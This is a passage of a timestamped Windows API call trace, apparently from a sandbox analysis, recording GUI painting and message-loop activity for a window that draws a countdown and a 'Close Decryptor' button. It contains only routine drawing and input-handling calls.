0x900010 [0174.710] GetCurrentObject (hdc=0x1c010749, type=0x7) returned 0x8050721 [0174.710] GetCurrentObject (hdc=0x1c010749, type=0x6) returned 0x8a01c2 [0174.710] SaveDC (hdc=0x1c010749) returned 1 [0174.710] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc0406fe [0174.710] GetClipRgn (hdc=0x1c010749, hrgn=0xc0406fe) returned 0 [0174.710] SelectClipRgn (hdc=0x1c010749, hrgn=0x9e0406f7) returned 2 [0174.710] DeleteObject (ho=0xc0406fe) returned 1 [0174.710] DeleteObject (ho=0x9e0406f7) returned 1 [0174.711] OffsetViewportOrgEx (in: hdc=0x1c010749, x=0, y=0, lppt=0x307fac8 | out: lppt=0x307fac8) returned 1 [0174.711] GetNearestColor (hdc=0x1c010749, color=0x22a3f8) returned 0x22a3f8 [0174.711] CreateSolidBrush (color=0x22a3f8) returned 0x4e10073a [0174.711] FillRect (hDC=0x1c010749, lprc=0x19e7cc, hbr=0x4e10073a) returned 1 [0174.711] DeleteObject (ho=0x4e10073a) returned 1 [0174.711] RestoreDC (hdc=0x1c010749, nSavedDC=-1) returned 1 [0174.711] GdipReleaseDC (graphics=0x6926780, hdc=0x1c010749) returned 0x0 [0174.711] GdipRestoreGraphics (graphics=0x6926780, state=0xfcfa0dbd) returned 0x0 [0174.711] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0174.711] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0174.711] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0174.711] GetSystemMetrics (nIndex=42) returned 0 [0174.711] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:16") returned 8 [0174.711] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0174.711] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0174.711] GetCurrentObject (hdc=0x1c010749, type=0x1) returned 0xb00017 [0174.711] GetCurrentObject (hdc=0x1c010749, type=0x2) returned 0x900010 [0174.711] GetCurrentObject (hdc=0x1c010749, type=0x7) returned 0x8050721 [0174.711] GetCurrentObject (hdc=0x1c010749, type=0x6) returned 0x8a01c2 [0174.711] SaveDC (hdc=0x1c010749) returned 1 [0174.712] GetNearestColor (hdc=0x1c010749, color=0x0) returned 0x0 [0174.712] RestoreDC (hdc=0x1c010749, nSavedDC=-1) returned 1 [0174.712] GdipReleaseDC (graphics=0x6926780, hdc=0x1c010749) returned 0x0 [0174.712] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.712] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0174.712] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0174.712] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0174.712] GetCurrentObject (hdc=0x1c010749, type=0x1) returned 0xb00017 [0174.712] GetCurrentObject (hdc=0x1c010749, type=0x2) returned 0x900010 [0174.712] GetCurrentObject (hdc=0x1c010749, type=0x7) returned 0x8050721 [0174.712] GetCurrentObject (hdc=0x1c010749, type=0x6) returned 0x8a01c2 [0174.713] SaveDC (hdc=0x1c010749) returned 1 [0174.713] GetTextAlign (hdc=0x1c010749) returned 0x0 [0174.713] GetTextColor (hdc=0x1c010749) returned 0x0 [0174.713] GetCurrentObject (hdc=0x1c010749, type=0x6) returned 0x8a01c2 [0174.713] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0174.713] SelectObject (hdc=0x1c010749, h=0x4f0a0711) returned 0x8a01c2 [0174.713] GetBkMode (hdc=0x1c010749) returned 2 [0174.713] SetBkMode (hdc=0x1c010749, mode=1) returned 2 [0174.713] DrawTextExW (in: hdc=0x1c010749, lpchText="06:58:16", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x307ff5c | out: lpchText="06:58:16", lprc=0x19e708) returned 50 [0174.713] RestoreDC (hdc=0x1c010749, nSavedDC=-1) returned 1 [0174.714] GdipReleaseDC (graphics=0x6926780, hdc=0x1c010749) returned 0x0 [0174.714] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0174.714] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0x1c010749, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.714] GdipReleaseDC (graphics=0x6926780, hdc=0x1c010749) returned 0x0 [0174.714] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.714] SelectObject (hdc=0x1c010749, h=0x85000f) returned 0x8050721 [0174.714] DeleteDC (hdc=0x1c010749) returned 1 [0174.714] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0174.714] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0174.714] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0174.714] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0174.714] WaitMessage () returned 1 [0175.251] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.251] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.251] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.251] DispatchMessageA (lpMsg=0x19ee78) returned 0x1 [0175.252] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.252] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.252] WaitMessage () returned 1 [0175.400] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.401] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.401] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.407] GetKeyState (nVirtKey=16) returned 0 [0175.407] GetKeyState (nVirtKey=17) returned 0 [0175.407] GetKeyState (nVirtKey=18) returned 0 [0175.407] GetKeyState (nVirtKey=16) returned 0 [0175.407] GetKeyState (nVirtKey=17) returned 0 [0175.408] GetKeyState (nVirtKey=18) returned 0 [0175.418] SendMessageW (hWnd=0x30212, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2000 [0175.418] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2000 [0175.418] TranslateMessage (lpMsg=0x19ee78) returned 1 [0175.418] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.418] GetKeyState (nVirtKey=16) returned 0 [0175.418] GetKeyState (nVirtKey=17) returned 0 [0175.419] GetKeyState (nVirtKey=18) returned 0 [0175.419] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x100, wParam=0x5b, lParam=0x15b0001) returned 0x0 [0175.419] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.419] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.419] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.420] GetKeyState (nVirtKey=16) returned 0 [0175.420] GetKeyState (nVirtKey=17) returned 0 [0175.420] GetKeyState (nVirtKey=18) returned 0 [0175.420] TranslateMessage (lpMsg=0x19ee78) returned 1 [0175.420] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.420] GetKeyState (nVirtKey=16) returned 0 [0175.420] GetKeyState (nVirtKey=17) returned 0 [0175.420] GetKeyState (nVirtKey=18) returned 0 [0175.420] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x101, wParam=0x44, lParam=0x80200001) returned 0x0 [0175.420] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.420] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.420] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.421] GetKeyState (nVirtKey=16) returned 0 [0175.421] GetKeyState (nVirtKey=17) returned 0 [0175.421] GetKeyState (nVirtKey=18) returned 0 [0175.421] TranslateMessage (lpMsg=0x19ee78) returned 1 [0175.421] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.421] GetKeyState (nVirtKey=16) returned 0 [0175.421] GetKeyState (nVirtKey=17) returned 0 [0175.421] GetKeyState (nVirtKey=18) returned 0 [0175.421] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x101, wParam=0x5b, lParam=0xc15b0001) returned 0x0 [0175.421] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.421] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.421] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.421] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.422] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.422] SetCursor (hCursor=0x10003) returned 0x10003 [0175.422] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.422] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.422] GetKeyState (nVirtKey=1) returned 1 [0175.422] GetKeyState (nVirtKey=2) returned 0 [0175.422] GetKeyState (nVirtKey=4) returned 0 [0175.422] GetKeyState (nVirtKey=5) returned 0 [0175.422] GetKeyState (nVirtKey=6) returned 0 [0175.422] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.422] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.422] WaitMessage () returned 1 [0175.423] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.423] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.423] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.423] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.423] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.423] SetCursor (hCursor=0x10003) returned 0x10003 [0175.423] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.423] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.423] GetKeyState (nVirtKey=1) returned 1 [0175.423] GetKeyState (nVirtKey=2) returned 0 [0175.424] GetKeyState (nVirtKey=4) returned 0 [0175.424] GetKeyState (nVirtKey=5) returned 0 [0175.424] GetKeyState (nVirtKey=6) returned 0 [0175.424] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.424] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.424] WaitMessage () returned 1 [0175.426] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.426] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.427] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.427] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.427] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.427] SetCursor (hCursor=0x10003) returned 0x10003 [0175.427] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.427] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.427] GetKeyState (nVirtKey=1) returned 1 [0175.427] GetKeyState (nVirtKey=2) returned 0 [0175.427] GetKeyState (nVirtKey=4) returned 0 [0175.427] GetKeyState (nVirtKey=5) returned 0 [0175.427] GetKeyState (nVirtKey=6) returned 0 [0175.427] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.427] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.427] WaitMessage () returned 1 [0175.432] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.433] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.433] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.433] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.433] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.433] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.433] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.433] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.434] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.434] WaitMessage () returned 1 [0175.449] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.449] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.450] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.450] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.450] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.450] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.450] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.450] WaitMessage () returned 1 [0175.453] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.453] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.453] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.453] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.453] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.454] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.454] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.454] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.454] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.454] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.455] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.455] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.455] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.455] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.455] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.455] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.455] IsWindowUnicode (hWnd=0x50078) returned 1 [0175.455] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.455] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.455] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.455] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.456] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0175.456] WaitMessage () returned 1 [0175.580] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.580] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0175.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x1c, wParam=0x0, lParam=0x864) returned 0x0 [0175.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x1c, wParam=0x0, lParam=0x864) returned 0x0 [0175.581] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x1c, wParam=0x0, lParam=0x864) returned 0x0 [0175.581] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0175.581] GetCapture () returned 0x0 [0175.581] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0175.582] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0175.582] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0175.582] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0175.582] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.583] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.583] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.583] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0175.583] SetCursor (hCursor=0x10003) returned 0x10003 [0175.583] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.583] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.583] GetKeyState (nVirtKey=1) returned 0 [0175.583] GetKeyState (nVirtKey=2) returned 0 [0175.583] GetKeyState (nVirtKey=4) returned 0 [0175.583] GetKeyState (nVirtKey=5) returned 0 [0175.583] GetKeyState (nVirtKey=6) returned 0 [0175.583] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.583] IsWindowUnicode (hWnd=0x30212) returned 1 [0175.583] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.583] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.583] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.583] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0175.583] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.584] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x3010752 [0175.584] SelectObject (hdc=0x3010752, h=0x8050721) returned 0x85000f [0175.584] GdipCreateFromHDC (hdc=0x3010752, graphics=0x19e8d8) returned 0x0 [0175.584] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0175.584] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0175.584] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0175.584] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0175.584] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e938) returned 0x0 [0175.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0175.584] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0175.584] LocalFree (hMem=0xf75be8) returned 0x0 [0175.584] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0175.584] GdipCreateRegion (region=0x19e920) returned 0x0 [0175.584] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0175.584] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e92c) returned 0x0 [0175.584] GdipSaveGraphics (graphics=0x6926780, state=0x19e958) returned 0x0 [0175.584] GdipRestoreGraphics (graphics=0x6926780, state=0xfcf80dbd) returned 0x0 [0175.584] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0175.584] GdipGetDC (graphics=0x6926780, hdc=0x19e708) returned 0x0 [0175.584] GetCurrentObject (hdc=0x3010752, type=0x1) returned 0xb00017 [0175.584] GetCurrentObject (hdc=0x3010752, type=0x2) returned 0x900010 [0175.584] GetCurrentObject (hdc=0x3010752, type=0x7) returned 0x8050721 [0175.585] GetCurrentObject (hdc=0x3010752, type=0x6) returned 0x8a01c2 [0175.585] SaveDC (hdc=0x3010752) returned 1 [0175.585] GetNearestColor (hdc=0x3010752, color=0x323533) returned 0x323533 [0175.585] GetNearestColor (hdc=0x3010752, color=0x111111) returned 0x111111 [0175.585] GetNearestColor (hdc=0x3010752, color=0x0) returned 0x0 [0175.585] GetNearestColor (hdc=0x3010752, color=0x868c88) returned 0x868c88 [0175.585] GetNearestColor (hdc=0x3010752, color=0x6994f5) returned 0x6994f5 [0175.585] GetNearestColor (hdc=0x3010752, color=0x969c98) returned 0x969c98 [0175.585] GetNearestColor (hdc=0x3010752, color=0x868c88) returned 0x868c88 [0175.585] GetNearestColor (hdc=0x3010752, color=0x3c3f3d) returned 0x3c3f3d [0175.585] GetNearestColor (hdc=0x3010752, color=0x6994f5) returned 0x6994f5 [0175.585] RestoreDC (hdc=0x3010752, nSavedDC=-1) returned 1 [0175.585] GdipReleaseDC (graphics=0x6926780, hdc=0x3010752) returned 0x0 [0175.585] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0175.585] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e5c4, format=0x102415, lpdtp=0x3080750 | out: lpchText="Close Decryptor", lprc=0x19e5c4) returned 60 [0175.586] GdipCreateRegion (region=0x19e64c) returned 0x0 [0175.586] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0175.586] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0175.586] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0175.586] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0175.586] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0175.586] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0175.586] LocalFree (hMem=0xf75be8) returned 0x0 [0175.586] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0175.586] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0175.586] LocalFree (hMem=0xf75bb0) returned 0x0 [0175.586] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0175.586] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e68c) returned 0x0 [0175.586] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e67c) returned 0x0 [0175.586] GdipGetRegionHRgn (region=0x6923a20, graphics=0x6926780, hRgn=0x19e67c) returned 0x0 [0175.586] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0175.586] GdipGetDC (graphics=0x6926780, hdc=0x19e694) returned 0x0 [0175.586] GetCurrentObject (hdc=0x3010752, type=0x1) returned 0xb00017 [0175.586] GetCurrentObject (hdc=0x3010752, type=0x2) returned 0x900010 [0175.586] GetCurrentObject (hdc=0x3010752, type=0x7) returned 0x8050721 [0175.586] GetCurrentObject (hdc=0x3010752, type=0x6) returned 0x8a01c2 [0175.586] SaveDC (hdc=0x3010752) returned 1 [0175.586] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9f0406f7 [0175.586] GetClipRgn (hdc=0x3010752, hrgn=0x9f0406f7) returned 0 [0175.587] SelectClipRgn (hdc=0x3010752, hrgn=0xf0406fe) returned 2 [0175.587] DeleteObject (ho=0x9f0406f7) returned 1 [0175.587] DeleteObject (ho=0xf0406fe) returned 1 [0175.587] OffsetViewportOrgEx (in: hdc=0x3010752, x=0, y=0, lppt=0x3080940 | out: lppt=0x3080940) returned 1 [0175.587] GetNearestColor (hdc=0x3010752, color=0x3c3f3d) returned 0x3c3f3d [0175.587] CreateSolidBrush (color=0x3c3f3d) returned 0x4f10073a [0175.587] FillRect (hDC=0x3010752, lprc=0x19e698, hbr=0x4f10073a) returned 1 [0175.587] DeleteObject (ho=0x4f10073a) returned 1 [0175.587] RestoreDC (hdc=0x3010752, nSavedDC=-1) returned 1 [0175.587] GdipReleaseDC (graphics=0x6926780, hdc=0x3010752) returned 0x0 [0175.587] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e710) returned 0x0 [0175.587] GdipGetDC (graphics=0x6926780, hdc=0x19e6fc) returned 0x0 [0175.587] GetCurrentObject (hdc=0x3010752, type=0x1) returned 0xb00017 [0175.587] GetCurrentObject (hdc=0x3010752, type=0x2) returned 0x900010 [0175.587] GetCurrentObject (hdc=0x3010752, type=0x7) returned 0x8050721 [0175.587] GetCurrentObject (hdc=0x3010752, type=0x6) returned 0x8a01c2 [0175.587] SaveDC 